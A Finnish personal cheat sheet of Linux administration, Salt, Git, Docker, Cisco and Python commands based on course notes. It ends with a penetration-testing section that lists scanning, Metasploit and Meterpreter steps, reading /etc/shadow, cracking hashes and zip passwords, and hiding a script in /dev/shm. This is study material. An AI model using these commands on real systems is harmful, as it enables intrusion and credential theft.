________________________________________________________________________________________________________________________________ Linux Palvelimet komentoja ________________________________________________________________________________________________________________________________ *** ALKU KOMENNOT *** setxkbmap fi : Vaihtaa suomi nappaimiston sudo : Jarjestelman valvojana suoritettavat komennot uname -a : Kayttojarjestelman versio lshw -short -sanitize : Laitteisto ifconfig : Ip tietoja hostname -I : Omat IPt curl ifconfig.me : Julkinen IP culrilla nano : Normaali kayttajan teksti editori sudoedit : Sudo kayttaja editori passwd : Salasana xubuntu live tikulle ________________________________________________________________________________________________________________________________ *** WIRELESS ADAPTERIN ASENNUS *** iwconfig : Tietoja langatomasta adapterista sudo apt-get install bcmwl-kernel-source : Lataa langatoman adapterin Editoi /etc/pulse/daemon.conf no -> yes : Kali Linuxiin aanet systemctl --user enable pulseaudio : Kali Linuxiin aanet systemctl --user start pulseaudio : Kali Linuxiin aanet ________________________________________________________________________________________________________________________________ *** KANSIOT LINUXIIN *** ls : Listaa nykyisen hakemiston tiedostot ls -a : Listaa myos hidden folderit all toiminolla ls -l : Nayttaa tiedostojen oikeudet pwd : Listaa taman hetkisen hakemiston "print working directory" du -h foldename/ : listaa paljon kansio vie tilaa mkdir kansionnimi : Luo kansion mkdir -p /kansio/kansio : Luo myos ali kansiot cd / : Menee tiettyyn tiedostoon esim cd / menee / kansioon cd /var/log : Menee log kansioon cd : Pelkka cd menee takaisin kayttajan omaan home kansioon cd .. : Menee takaisin pain hakemistossa cd - : Menee vimeksi aukioleeseen kansioon TAB : TAB automaattisesti tayttaa kansioita valitaessa echo hello > testi.txt : Korvaa tiedoston testi.txt hello sanalla echo hello >> testi.txt : Vie hello sanan testi.txt tiedoston loppuun omalle riville cat testi1.txt test2.txt >> testi3.txt : Yhditää 2 tiedostoa testi3.txt tiedostoon. cat testi* >> testi4.txt : Valitsee kaikki testi alkuiset tiedostot ja vie testi4.txt tiedostoon chmod ugo+rwx : Read write ja execute oikeus. user group ja other kayttajille mv oldname newname : Vaihtaa tiedoston nimen rm tiedosto : Poistaa tiedoston rm -r kansio : Poistaa kansion rekursiivisesti mv tiedostonnimi kansio/ : Vie tiedoston toiseen kansioon cp tiedostonnimi kansio/ : Kopioi tiedoston toiseen kansioon cp -rp : RP lipuilla kopioidaan myos tiedoston oikeudet recursiivisesti /etc : kaikkien ohjelmien asetuksien kansio /var/log/auth.log : Kirjautumis loki tiedosto /etc/systemd/system : Uudelleen kaynnistyksessa paalle tulevat ohjelmistot ________________________________________________________________________________________________________________________________ *** HAKUTOIMINTO *** alt+. : viimeisen komennon viimeinen sana less teksti.txt : Haku komento, joka tuo yhdensivun kerralla tail teksti.txt -F : Avaa tiedoston 10viimeista rivia ja uudet rivit cat teksti.txt : Avaa tiedoton sisallon history : Nayttaa vanhat kommennot which bash : Mista bash ajetaan env : bash scriptiin tietoja koneesta (environment) && : Ketjuttaa komentoja (ketju voi katketa) ; : Ketjuttaa komentoja (ketju ei katkea) "|" putki merkki : Liimataan komentoja | grep haku : Hakee tietueesta hakusanalla | grep -ir haku : Haku paremmalla rivityksella | grep -v 'exclude' : Exclude with grep find -printf "%T+ %p\n"|sort : Kertoo asennetujne ohjelmien ajan jarjesteksyssa find -printf '%T+ M %p\n%A+ A %p\n%C+ C %p\n'|sort : Kertoo asennettujen ohjelmien ajan jarjestyksessa find /home -printf "%f\t%p\t%u\t%g\m\n" | column -t : Hakee home kansion kaikki tiedostot find / -group adm -ls 2>/dev/null : Ryhma oikeuksien haku find / -user joni -ls 2>/dev/null : Tiedostojen user oikeuksien haku find -printf "%T+ %p\n" | sort | grep -e ".exe$" : Etsii kansiotai eteenpain exe tiedostoja find . ! -empty -type f -exec md5sum {} + | sort | uniq -w32 -dD : Etsii tiedostoja joilla on kaksoiskappale ________________________________________________________________________________________________________________________________ *** METADATA *** exiftool : libimage-exiftool-perl kertoo tiedoton luonti ajan ja muita tietoja patterns.dunttus.com kuvien metadata bashilla: exiftool -by-line="[Joni Hakala]" -CopyrightNotice="© [Joni Hakala] ; \ Licence: Creative Commons Zero v1.0 Universal \ (https://creativecommons.org/publicdomain/zero/1.0/)" \ -artist="[Joni Hakala]" -Copyright="© [Joni Hakala] ; \ Licence: Creative Commons Zero v1.0 Universal \ (https://creativecommons.org/publicdomain/zero/1.0/)" \ dunttus_patterns* ________________________________________________________________________________________________________________________________ *** ASENNUKSET *** sudo apt-get update : Paivittaa palvelimelle ohejelmitojen versio tiedot sudo apt-get upgrade : Paivittaa ohjelmistot sudo apt-get dist-upgrade : Kernel paivitykset sudo apt autoremove : Poistaa paketit turhat paketit sudo reboot : Uudelleen kaynnistys sudo apt-get dist-upgrade : Kernel paivitykset cat /etc/lsb-release : Linux version tarkastus uname -mrs : Kernel version tarkastus UBUNTU 19->20 sudo apt --purge autoremove : Poistaa kayttamattomat kernel versiot sudo apt install update-manager-core -y : Asentaa uuden core managerin sudo do-release-upgrade -d : Asentaa uusimman version Linuxista muista ottaa varmuuskopiot sudo ubuntu-drivers autoinstall : Asentaa esim Nvidia ajurit UBUNTU 20.04 -> 22.04 sudo ufw allow 1022/tcp : Jos päivität SSHn kautta avaa portti 1022 sudo apt-mark showhold : varmistaa ettei mihinkään paketiin ole vireillä päivityksiä (tyhjä=voi aloittaa) sudo apt-get update : Paivittaa palvelimelle ohejelmitojen versio tiedot sudo apt-get upgrade -y : Paivittaa ohjelmistot sudo reboot : uudelleen käynnistys sudo do-release-upgrade -d : Linux versio päivitys sudo ufw delete allow 1022/tcp : Jos avasit SSH failsafe portin muista sulkea se sudo systemctl restart ufw : Uudestaan käynnista ufw DEBIAN 9->10 apt-get dist-upgrade : Kernel paivitykset lsb_release -a : Linux version tarkastus uname -mrs : Kernel versio tarkastus nano /etc/apt/sources.list : Vaihda stretch -> buster apt-get update : Paivitaa versiot apt-get dist-upgrade : Asentaa buster paketit muista varmuuskopiot apt --purge autoremove : Poistaa vanhat paketit reboot : Kaynnista uudestaan apt-cache search ohjelmannimi : Etsii ohjelmistoja apt-get install ohjelmannimi : Asentaa ohjelmiston apt-get remove ohjelmannimi : Poistaa ohjelmiston apt-get purge ojelmnnimi : Poistaa ohjelmiston ja asetukset sudo apt-get install ohjelmisto : Turvallinen tapa asentaa ohjelmia sudo snap-install ohjelmisto : Ei niin turvallinen tapa asentaa ohjelmia systemctl restart ohjelmannimi : Uudelleen kaynnistys ohjelmalle reboot : Uudelleen kaynnistys koko Linuxille man ohjelmanimi : Manual sivu asennetusta ohjelmistosta ________________________________________________________________________________________________________________________________ *** LINUX PIKA NAPPAIN *** CTRL + C : Yleisesti sulkee ohjelmia WINDOWS + T : Avaa terminaalin WINDOWS + Z : Sammuttaa toimintoja ilde tilaan takaisin "fg" jobs : Nayttaa taustalla pyorivat ohjelmat listana fg : Tuo ctrl+Z suljetun tiedoston takaisin q : Yleisesti sulkee ohjelmia !! : Ajaa viime komento uudestaa sudo !! : Ajaa viime komennon sudona ________________________________________________________________________________________________________________________________ *** APACHE, UFW PALOMUURI JA PHP *** sudo ufw enable : Palomuuri paalle, jos etayhteys paalla ssh yhteys voi katketa sudo ufw allow 22/tcp : Ssh default portti auki sudo ufw allow 80/tcp : Apachen default portti auki sudo ufw deny 22/tcp : Ssh default portin sulkeminen sudo ufw status vebose : Tulimuurin status ja verbose luottavassa muodossa sudo systemctl restart ufw : Uudet ufw asetukset menee paalle restartilla nc -vz ip portti : Yhden portin scannaus netcatilla netstat -tulpn : Avoimet portit ss -lntpt : Avoimet portit ssh user@domain.com : SSH yhteys default 22 portiin echo hei | sudo tee /var/www/html/index.html : Korvaa apache testisivun sanalla hei sudo a2enmod userdir : Kayttajien oma public_html kansio kayttoon /home/user/public_html/index.htlm : Html sivun koti hakemisto, a2enmod userdir http://localhost/~user/ : Selaimella kayttajan kansion sivuun systemctl restart apache2 : Uudelleenkaynnistaa apachen2 index.php : Jotta saadaan php kayttoon vaihdataan paate .php libapache2-mod-php : Php lisaosa apacheen cd/etc/apache2/ : Asetukset apacheen : Esimerkki php koodista jos HTML sivule tulee 2 php on paalle ________________________________________________________________________________________________________________________________ *** USER CREATION *** apt-get install openssh-client openssh-server : Open-ssh asennus paketit hostname -I : Koneen Ip osoite 4 ja 6 ssh root@external_ip_address : Aluksi yhteys root kayttajalla ssh user@dunttus.com -p 2121 : Jos SSHn portti vaihdettu vaikka 2121 sudo adduser joni : Luo kayttajan joni sudo adduser joni sudo : Lisaa kayttajalle joni sudo oikeuden sudo adduser joni adm : Lisaa kayttajan joni admineihin sudo userdel joni : Poistaa kayttajan joni sudo usermod --lock root : Lukitsee root salasanan etc/ssh/sshd_config : SSH asetuksin kansio sudoedit sshd_config : PermitRootLogin vaihdetaan taalta "no" sudo service ssh restart : SSH uudelleen kaynnistys = asetukset tulee voimaan host dunttus.com dnsl.registrar-server.com : Talla voidaan katsoa hostin tietoja sudo a2ensite dunttus-com.conf : Lisaa tiedoston conf tiedostoon ________________________________________________________________________________________________________________________________ *** REACT, YARN & NPM *** npm --version : nmp versio tiedot node --version : node.js versio tiedot npx create-react-app kansion_nimi : Luo uuden React projektin npm install -g create-react-app todolist : Jos npx ei toimi npm -h : Apua npm komentoihin npm start : Aloittaa nykyisen kansion React projektin ctrl + c : Lopettaa Reacht projektin palvelimen yarn start : Aloittaa nykyisen kansion React projektin yarn build : Kokoaa apin staattiseen tiedostoon yarn add : Asentaa ulkoiset paketit yarniin ________________________________________________________________________________________________________________________________ *** PUBLIC AND PRIVATE KEYS *** ssh-keygen : Luo julkisen ja salaisen avaimen ssh-copy-id joni@localhost : Kopioi local hostiin avaimen to save the key (/home/user/.ssh/id_rsa): : Salainen avain rsa.pub julkinen avain : Julkinen avain ________________________________________________________________________________________________________________________________ *** DATATRASFER *** rsync nimi.txt joni@dunttus.com: : Tekstin kopiointi rsync -vazh --progress kansio joni@dunttus.com : v - komento vastaa h - human readeble scp "tiedosto" joni@dunttus.com:/home/joni : Tiedoston siirto scp scp -r joni@dunttus.com:/home/joni/folder ./ : Kansion lataus scp scp -P 2020 -r "tiedosto" joni@ip_adress:/home/joni : Tiedon siirto Windows feature bashilta portiin 2020 mkdir /mnt/kansionimi : Luodaan ensin kansio sshfs user@external_ip_adress: /mnt/kansionimi: : Graaffinen valikointi fusermount -u kansio : Irrottaa mount pointin ________________________________________________________________________________________________________________________________ *** PROCESS ANALYSIS *** top : Tietoja kuormituksesta uptime : Kurmituksen kehitys arvo nproc : Ytimet prosessorissa dstat : Verkkoliikenteen seuranta ohjelma nethogs : Verkkoliikenteen seuranta ohjelma netstat : Valmiiksi asennettu ohjelma verkon seuranta ohjelma dstat : Verkkoliikenteen seuranta ohjelma free -h : RAM muisti sudo iotop -oa : Levytilan kulutus sysstat | grep : Keraa lokitietoja etc/default/sysstat : ENABLED="true" asetuksista paalle sar : Tietoa prosessorin kaytosta systemctl restart : Jos ei toimi palvelun uudelleen kaynnistys systemctl status : Ohjelman status ps waux | less : prosessi lista waux | grep -i xclock : prosessi numero kill 123prosessinumero123 : tappaa prossessin numeron perusteella pstree -Up | less : prosessi puu hostname -I : Oma ip osoite df -ah : Paljon disk tilaa jaljella ________________________________________________________________________________________________________________________________ *** SCRIPTS *** echo "hei joni" : Kirjoitaa hei joni nano hei.sh : Luo scriptin bash ./hei.sh : Avaa scriptin #!/bin/bash : Oletus komento tulkki teksti tiedostoon ls -l hei.sh : Nayttaa oikeudet tiedostosta hei.sh -rwx-rwx-rwx : Dir tai tiedoston read write execute - user group chmod u+rw hei.sh : User read ja write oikeudet tiedostolle hei.sh chmod ugo+x hei.sh : Kaikkille oikeudet execute ls /usr/local/bin/ : Kansio kaikkille kayttajille which bash : Kertoo mista bash ajetaan nano hei.py : Luo teksti tiedoston johon voidaan kirjoittaa pyhthonia phython3 hei.py : Avaa phythonin tulkin CTRL+D : Sulkee phytonin print("heii") : Tulostaa heii ________________________________________________________________________________________________________________________________ *** SSH PROXY *** hostname -I : Nayttaa kaytetyt ipt SOCK5 : SSH proxy ominaisuuden nimi ssh -D 2020 nimi@osoite : SSH proxy yhteys tahan tarvitaan viela firefox asetukset ssh -L 8181:127.0.0.1:8000 user@ip : localhost:portti selaimeen toimii ilman selain asetuksia nc -vz localhost 9080 : Portin avaus nc=netcat Firefox : Firefox asetuksista manual proxy vain SOCKS host = localhost FoxyProxxy : Hyodyllinen jos sivut blockaa proxy yhteyksia ________________________________________________________________________________________________________________________________ *** TMUX *** tmux new -s name : Aloittaa tmuxin CTRL+b +c : Prefix Prefix+ numero : vaihtaa sivun Prefix+d : Deletoi ikkunan ________________________________________________________________________________________________________________________________ *** USERS AND PASSWORDS *** jhakala tai joni : Esimerkki kaytaja, max 8merk, a-z, alkaa kirjaimella. pavahx6Ousoh : Hyva alkusalasan on satunainen ja kirjoitetaan muistiin. ls -ld salasanat.txt : Oikeudet salasana teksti tiedostolle chmod og-rwx salasanat.txt : Poistaa oikeudet read write execute sudo adduser joni : Luo kayttajan joni pwgen 12 2 : Generoi 12-merkkin salasanan 2 kertaa ________________________________________________________________________________________________________________________________ *** MARIADB *** Asennus: sudo apt-get install mariadb-client mariadb-server Kayttajan luonti: GRANT ALL ON databasenimi.* TO kayttajannimi@localhost IDENTIFIED BY 'salasana'; Kirjautuminen: mariadb --user=kayttajannimi --password SOURCES: Pohjana Tero Karvinen 2012: Linux kurssi, http://terokarvinen.com ******************************************************************************************************************************** ******************************************************************************************************************************** ________________________________________________________________________________________________________________________________ *** CISCO NETWORKS *** ________________________________________________________________________________________________________________________________ *** CISCO SWITCH CONFIG COMMANDS *** enable : Avaa reititimeen admin asetuksia set : Automatisoitu configurointi show running-config : Nayttaa asetuksia show ip route : Tietoja reitityksista show ip interfaces brief : Tietoa ip intefaceista show interfaces : Tietoa intefaceista show ipv6 interface : ipv6 samat komennot hostname nimi : Vaihtaa kytkimine nimen enable secret class : Encryptaa salasanan line console 1 : Siirtyy consoleen password salasana : Maarittaa consoleen salasanan login : Kirjautuminen exit : Console yhteyden sulkeminen service password-encryption : Encryptaa salasanan copy running-config startup-config : Kopioi taman hetkiset asetukset configure terminal : Konfigurointi mode interface gigabitethernet 0/0 : Tietyn kytkin portin configurointi interface serial 0/0/0 : Serial kytkimen configurointi interface loopback 0 : Loopback osoiteen configurointi ip address 10.10.10.1 255.255.255.0 : Ip osoite ja maski ipv6 address 2001::1/64 : Ipv 6 osoite ja maski no shutdown : Vaihdettu ip saadaan kayttoon exit ******************************************************************************************************************************** ******************************************************************************************************************************** ________________________________________________________________________________________________________________________________ Palvelinten Hallinta komentoja ________________________________________________________________________________________________________________________________ ** SALT ** sudo apt-get -y install salt-master : Asentaa salt masterin sudo apt-get -y install salt-minion : Asentaa salt minionin sudoedit /etc/salt/minion : Kansio, johon lisataan masterin ip master: 10.0.0.0 : Salt master rivi tiedostossa minion id: orjaid : Orjalle id minion tiedostoon mastrin alle systectl restart salt-minion : Uudelleen kaynnistaa salt minionin sudo salt-key : Nayttaa masterille lisatyt kayttajat sudo salt-key -A : Ottaa vastaan kaikki kayttajat sudo salt-key -d user : Poistaa tietyn kayttajan sudo salt '*' cmd.run 'whoami' : Lahettaa minionille terminaali komennon whoami sudo salt '*' grains.items : Kysyy orjilta tietoja sudo salt '*' pkg.install apache2 : Asentaa orjalle paketin apache2 sudo salt '*' sys.doc|less : Generoi saltista dokumentin /srv/salt/ : Salt tilojen default kansio masterilla top.sls : Avaa kansionimen perusteella init.sls tiedoston init.sls : Init.sls tiedosto sisaltaa ohjeet minion koneille esim. Asennus paketit _______________________ |srv/salt/top.sls | : Perus top.sls tiedoston sisalto |base: | | '*': | | - hello | | 'nimi': | | - webdev | |_______________________| _______________________ |/tmp/webdev.txt: | : Perus init.sls tiedoston sisalto | curl: | | pkg.installed | | apache2 | | pkg.installed | |_______________________| sudo salt '*' sys.state_doc : Generoi documentin koneelle omien asetuksien mukaan /var/lib/salt/pki/minion/minion_master.pub : Orja koneen kansiossa palvelimen julkinen avain ________________________________________________________________________________________________________________________________ **GIT VERSION CONTROL** git init nimi : Alku kansion luonti paikkallisesti git add . : Valmistaa kaikki tiedostot committia varten git commit -m "kommentti" : Vie kaikki muutokset lopuliseen tyohon mukaan git log : Tuo commit lokin ruudulle git config --global user.email "@" : Lisaa kayttajalle emalin commitiin git config --global user.name "Nimi" : Lisaa kayttajalle nimen committiin git diff : Naytaa miten tiedostoa vaihdettu git diff --cached : Valimuistin tiedoston vaihdot git reset --hard : Menee takaisinpain versioissa merkilla # voi kommentoida git clone URL : Kopioi repositoryn omalle koneelle pull push : Ensin pull sitten push meld tool : Mergin tool git tiedostoille git rm : Git poisto komento sudo git add .; sudo git commit -a -m "COMMENT"; sudo git pull; sudo git push sudo git add . && sudo git commit -a -m "COMMMENT" && sudo git pull && sudo git push git add . && git commit -a -m "COMMMENT" && git pull && git push ________________________________________________________________________________________________________________________________ ** VIRTUALBOX VAGRANT ** sudo apt-get install vagrant : Vagrantin asennus paketti sudo apt-get install virtualbox-qt : Virtualbox asennus paketti vagrant cloud bento valmis vm : Valmiiden vagrant koneiden asennus tiedostot vagrant init ubuntu/trusty64 : Esimerkki joka luo ubuntun benton valmiista paketista vagrant up : Asentaa vagrantin Vagrantfilen avulla vagrant ssh : Vagrant koneelle paasee ssh yhteydella vagrant destroy : Tuhoaa vagrant koneen ________________________________________________________________________________________________________________________________ ** FLASK ** export FLASK_DEBUG=1 : Run flask in debug mode for auto refresh server export FLASK_APP=flasktest.py : Choose what file you use for flask flask run : Run flask server ________________________________________________________________________________________________________________________________ ** DOCKER ** docker run name : Ajaa kontin docker system prune : Tuhoaa kaikki kontit, jotka on kiinni docker container ls -a : Listaa kontit docker ps -a : Listaa kontit docker -d -t : Ajaa kontin taustalle docker exec -it name : Avaa kontin nimella bashilla docker images -a : Listaa kaikki docker imaget docker image rm 9bf9865 : Poista idlla Dynaaminen kansio jako ja ohjelman ajaminen kontin sisalla sudo docker run -it --rm -v /home/USER/:/USER image:name python3 ./test.py sudo docker run -d --rm -v /home/USER/:/USER image:name python3 ./test.py sudo docker run --rm -v /home/USER/:/USER -it lokari:test ________________________________________________________________________________________________________________________________ ** CONDA ** conda install jupyter : Windows CMD conda asentaa jupyter notebookin conda install tensorflow : Windows CMD conda asentaa tensorflown conda create -n tensorflow_gpuenv tensorflow-gpu : Windows CMD Tekee uuden conda paketin nimella conda activate tensorflow_gpuenv : Windows CMD Activoi tehdyn paketin jupyter notebook : Windows CMD avaa uuden jupyter notebook instansen ________________________________________________________________________________________________________________________________ ** SALT WINDOWS ** salt-master --version : Linux herran Salt masterin versio sudo salt '*' cmd.run 'ipconfig' shell=powershell : Saltin kautta powershell komentoja sudo salt '*' cmd.run ipconfig : Saltin kautta cmd komentoja ___________________________________________ |C:\testi.txt: | : testi.sls tiedosto Windows C:\ kansioon | file.managed: | | - source: salt//testiwindows/testi.txt | |___________________________________________| sudo mkdir /srv/salt/win : Windows paketin hallinta kansio sudo chown root.salt /srv/salt/win : Kansio saattaa tarvita Salt kayttajalle omistajuuden salt-run winrepo.update_git_repos : Alustaa Salt-masterin paketin hallinta arkiston salt -G ‘os:windows’ pkg.refresh_db : synkronisoi pkg pakettivaraston myos Windows:in puolelle sudo salt 'orja' pkg.purge firefox : Paketin remote poisto windosilta sudo salt -G 'os:windows' pkg.refresh_db : Salt komento joka kohdennettu windows os SOURCES: Pohjana Tero Karvinen 2012: Palvelinten hallinta kurssi, http://terokarvinen.com Window Salt repo 2019: https://docs.saltstack.com/en/latest/topics/windows/windows-package-manager.html ******************************************************************************************************************************** ******************************************************************************************************************************** ________________________________________________________________________________________________________________________________ PYTHON BASICS ________________________________________________________________________________________________________________________________ ** Python 3 IDLE ** CTRL+N : Avaa uuden ikkunan IDLE:ssa CTRL+K : Poistaa rivin CTRL+F6 : Idlen uudelleenkaynnistys F5 : Ajaa koodin ________________________________________________________________________________________________________________________________ ** PYTHON BASICS ** apt-get install python3-pip : Python3 pip asennus Linuxille pip3 intall matplotlib : Matplotlib asennus python3 paketin hallinnalla python3 -m pip freeze : Asennetujen riippuvuuksien tarkastus \ : \ enter jatkaa kommenttia toiselle riville jos se on liian pitka (""" -komentti """) : Voidaan myos jatkaa toiselle riville # : Python kommentti # -*- coding: cp1252 -*- : Tulkille kerrotaan etta koodissa skandinaavisia kirjaimia ** Print ** print("asd") #kommentti : Kommentti voidaa laittaa samalle riville print("HelloWorld") : Printtaus pythonilla print("rivin vahto. \n") : Tulostus ja tyhja rivi print("muuttuja") : Muuttujan printtaus print("Torstaisin ruokana on pannukakkua ja",muuttuja) : Muuttujan ydistaminen print("Seinalla on",muuttuja,"muuttuja." : 2 Muuttujaa print(muuttuja+"!") : Muuttujaan liimaus print("Ei tule rivinvaihtoa. ",end="") : Seuraavalle printille ei rivin vaihtoa print("Minulla on",muuttuja,"kappaletta.", sep="") : sep ottaa valit muuttujan ymparilta pois print("Nimi:\tHakala Joni") : \t tekee tab valin tulostuksessa ________________________________________________________________________________________________________________________________ ** VARIABLES ** muuttuja = "pizza" : Pythyon muuttujan, ei skandeja, erikois merkkeja, varattuja muuttuja = "rivin vahto. \n" : \n tekee muuttujan peraan tyhjan rivin numero = 100 : Numero muuttuja ilman "" numero = "100" : Numero Stringina numero = int(numero) : Muuntaa arvon intiksi numero = str(numero) : Muuntaa arvon Strigiin numero = float(numero) : Muuntaa arvon desimaaliksi luku1 = 5.123 : Luku muuttuja luku1 = round(luku1) : Luku muuttujan pyoristaminen len(muuttuja) : Laskee merkit muuttujasta numero + 150 : Numero muuttujaan + 150 ________________________________________________________________________________________________________________________________ ** INPUTS ** lukuarvo = input("Kuinka vanha olet:") : Kysyy kayttajalta muuttuja arvon kierroksia = int(input("Kuinka monta kierrosta: ")) : Int input arvo ________________________________________________________________________________________________________________________________ ** IMPORTS ** import random : Tuo kirjaston random luku = random.randint(0,100) : Print("luku") kayttaa random kirjastoa ja arpoo luvun dir(random) : Nayttaa eri funkioita random importissa help(random.randint) : Apua import toimintoon from random import randint : Yhden funktion import import omatiedosto : omatiedosto.py import samalta kiintolevylta print(omatiedosto.funktio) : omatiedosto.py importista funktio haku ________________________________________________________________________________________________________________________________ ** ERRORS ** except Exception: : Virhetilanteiden jokeri luokka printaa oma syote printilla alle try: : Ajaa koodin ja katsoo tuleeko virheita oma syote printilla alle finally: : Lopetetaan ohkjelma jos tapahtuu virhe oma syote printilla alle class OmaVirhe(Exception): : Virhe luokassa ________________________________________________________________________________________________________________________________ ** FILE EDITING ** tiedosto = open("testi.txt", "r") : Avaa tiedotston testi.txt "r" avaa luku tilaan tiedosto = open("testi.txt", "w") : Avaa tiedoston kirjoitus tilaan tiedosto = open("testi.txt", "a") : Avaa tiedoston kirjoiutus tilaan ja luo tiedoston tiedosto = open("testi.txt", "rb") : Avaa tiedoston luku tilaan ja jos tiedostoa ei ole antaa error tiedosto.close() : Sulkee tiedoston tallennusmuuttuja = tiedostokahva.lukufunktio() : Muuttuja funktiolla def myfunktio(): : Funktio maaritellaan sanalla def ******************************************************************************************************************************** ******************************************************************************************************************************** ________________________________________________________________________________________________________________________________ !!! Penetration Testing kohdan kaytetyt menetelmat ovat vaarin kaytettyna laittomia, kayta omalla vastuulla. !!! Penetration Testing ________________________________________________________________________________________________________________________________ ** MEMO ** Intrusion kill chain Mitre att&ck Openwire bandit Hack the box eu metasploit3 mitmproxy foxyproxy yleisimmat salasanat itse tehty sanalista geoipblocking jsnice ghidra sysinternals RSA, Disobey, Black Hat /etc/shadow ooda loop teronpentest salasana pentestmonkey net reverse shell cheat sheet censys shodan maltego LinEnum : Githubissa ohjelma, joka etsii upgrade haavoituvuuksia PayloadsAllTheThings : Githubissa payloadeja eri kielille ________________________________________________________________________________________________________________________________ ** PENTEST BASICS ** rmmod pcspkr : Piip aani pois kalista /dev/shm/.virus.sh : Hyva ram kansio viiruksille apt-cache search pentest : Xubunulla haku virtualenv python3-pip : Asennus Xubuntulle ensin ladataan python ohjelma virtualenv mkdir mitm : Luodaan kansio mitm virtualenv env -p python3 : Luodaan kansiosta virtual enviroment source env/bin/activate : Activoidaan enviroment pip install mitmproxy : Asennetaan mitmproxy virtual kansioon nc -vz localhost 80 : Portti scannaus 1portti Verbose Zero Kali Linux Xfce 64-bit : OS CTRL+ALT+F7 : Jos Kali ei avaudu lepotilasta apt-get install docker.io : Paketin hallinta paketti docker pull webgoat/webgoat-7.1 : Tuo config tiedoston webgotille docker run -p 8080:8080 -t webgoat/webgoat-7.1 : Ajaa config tiedoston webgoatille newgrp docker : Avaa bash shellin uudella dockerille localhost:8080/WebGoat : Selaimella echo "salasana"|sha256sum : Salasana terminaaliin salattuna sha256 ________________________________________________________________________________________________________________________________ ** MITMPROXY ** EDITOR=nano mitmproxy -p 8888 : Mitmproxy nano editorilla portissa 8888 localhost 8888 : Manual HTTP proxy Firefox asetus ja 127 poistetaan Shift+K : Pika nappainten haku m : merkkaa e : Valikko tab : Tallentaa muutokset r : Reload page Shift+F : Seuraa uusia tiloja m : Voi vaihtaa kielta sivulla esim css tai javascript f : Filter expressions mitmproxy i : Intersept=nimi nappain "a" eteen pain 1askel shift+a : Intercept tilassa paasta kaikki loput lapi ________________________________________________________________________________________________________________________________ ** GOBUSTER ** gobuster dir -u http://URL -w /usr/share/word : Dir skannaus gobuster dir -u http://URL -w /usr/share/word -x .php : php paate etsinta gobuster vhost -u http://DOMAIN.com --append-domain -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt : Vhost alidomain ________________________________________________________________________________________________________________________________ ** SMB samba ** smbclient -L //10.10.10.10/ : Listaa SMB sharen kansiot smbclient //10.10.10.10/shares/ : Yhditaa kansiion get filename : Lataa tiedosto smb palvelimesta ________________________________________________________________________________________________________________________________ ** Zip file ** fcrackzip -D -u winrm.zip -p /usr/share/wordlists/rockyou.txt : Winrm zipin salasanan avaus ________________________________________________________________________________________________________________________________ ** DIRB SCANNER ** dirb http://10.10.10.1 -r -o : -r lippu no recursive ja -o tallentaa listan dirb http://10.10.10.1 -X .html : Etsii .html loppuiset sanat ________________________________________________________________________________________________________________________________ ** SEARCHSPLOIT ** searchsploit "app name" : Hakee tunnetuja haavoituvuuksia searchsploit -w "app name" : Tuo hakuun web sivun searchsploit -x id123.txt : Hakee lisatietoja IDn mukaan ________________________________________________________________________________________________________________________________ ** NMAP ** ip route : Tarkasta maali verkko ipcalc 10.0.0.0 : Laske mahdolliset kohteet hostname -I : Oman koneen IPt man nmap : Nmap ohjeet nmap -n -vvv 10.10.10.1-254 --top-ports 10 > 1portscan.txt : Koko alueen scannaus top10 portit nmap -n -sV -sC -Pn 10.10.10.10 > 10portscan.txt : Yhden koneen scannaus + scripti scan nmap -sC -sV -oA tiedostonnimi 10.10.10.10 : Tekee txt tiedoston nmapin kautta nmap -p- -oA tiedostonimi 10.10.10.10 : nmap -T4 -p- -A 10.10.10.10 -oA tiedostonimi : Fast exec scan 1-65555 portit ja vie tiedostoon nmap -n 10.10.10.1 -p 80,443 : scannaa ip alueen portit 80 ja 443m -sV : Bannerit eli versiotiedot -oA nimi : Tekee suoraan tiedostot scannauksien tiedoista -sU : UDP -Pn : no ping --top-ports 10 : Skanna 10 suosituinta porttia -sC : Scripti skannaus ________________________________________________________________________________________________________________________________ ** METASPLOIT ** msfdb init : Ajetaan kerran msf : Kaikki komennolt alkaa msfconsole : Avaa Metasploit 5 konsolin help : Avaa helpin db_nmap localhost : Nmap metasploitissa db_nmap help : Help sivu nmapille hosts : Kaikki hostit services --up : Kaikki servicet tietokannasta --up poistaa filtered search node.js : etsii searchsploit ftp : Etsii exploiteja use linkki : Kaytetaan avaamaan exploit --help : help flag esim services komentoon msfpc|less --raw -R : Vaarallinen flagi RHOST asettaa kaikki tiedoston koneet maaliksi set : Listaa RHOST maalit set RHOSTS 10.0.0.0 : Yli ajaa RHOST tiedoston yhdella maalilla ________________________________________________________________________________________________________________________________ ** METERPRETER ** install metaspoit-framework : Paivittaa explotit metasploitiin vagrant rapid7 : vagrant tiedoston nimi nano vagrantfile copy paste kurssi sivulta : vagrant up : Avaa vagrantfilen kautta koneen ip route : Nayttaa ip aluetta ipcalc : Laskee IP alueen -sn ip -n -sV : nmap lippuja set RHOSTS ip : Maalitaulu koneen IP search vsftp : Etsii haavoituvuuksia use /kansio/kansio/ : Kayttaa haavoituvuutta nimenmukaan back ja options : valintoja use:ssa show payloads : nayttaa payloadit set payload cmd/unix/ : explotin valinta exploit : Lahettaa exploit paketin help : Antaa eri toimintoja background : Vie session taustalle sessions numero : Avaa session taustalta set SESSION 1 : Targettaa session numeron mukaan search upgrade : Etsii ylennys toimintoa use /kansio : Kayttaa ylennys toimintia set sessioon meterpreter : Hyva terminaali ohjelmisto exloit : Lahetaa ylennys pyynnon Sessioon MeterPreter: download /file/path : Lataa tiedostoja target koneesta MeterPreter: upload /file/path : Lataa tiedostoja target koneelle search -f *.hakusana : Etsii tiedostoja ________________________________________________________________________________________________________________________________ ** HASHCAT ** hashcat -m --force /root/hash/md5.txt /usr/share/wordlists/fasttrack.txt : hc md5 esim --show : Jos salasana jo crackatty echo -n 'salasana' | md5sum | tee -a tiedosto.txt : Ei ylikirjoita vaan jatkaa tiedostoa echo -n encyptedpass | base64 -d : Base64 decryption tar -xvf : Avaa tar tiedostoja gunzip rockyou.txt.gz : Zippaa tiedoston unzip rockyou.txt : Unzippaa tiedoston free 50000 words terokarvinen : Sanalista suomi eng grep user /etc/shadow : Linux salasana esim sha512 $6$ : Kertoo salauksen hashcat -m 1800 -a 0 '$6$'ifuhwapuifh sanalista : hc esim sha512 man crypt : $6$ merkki salauksen tarkoitus s : Nakee eteenpain scannauksen aikana ________________________________________________________________________________________________________________________________ ** THCHYDRA ** cewl -w savefile.txt -d 3 -m 5 http://10.10.10.10/people/ : Sanalistan luonti min 5 kirjain ja 3sivua 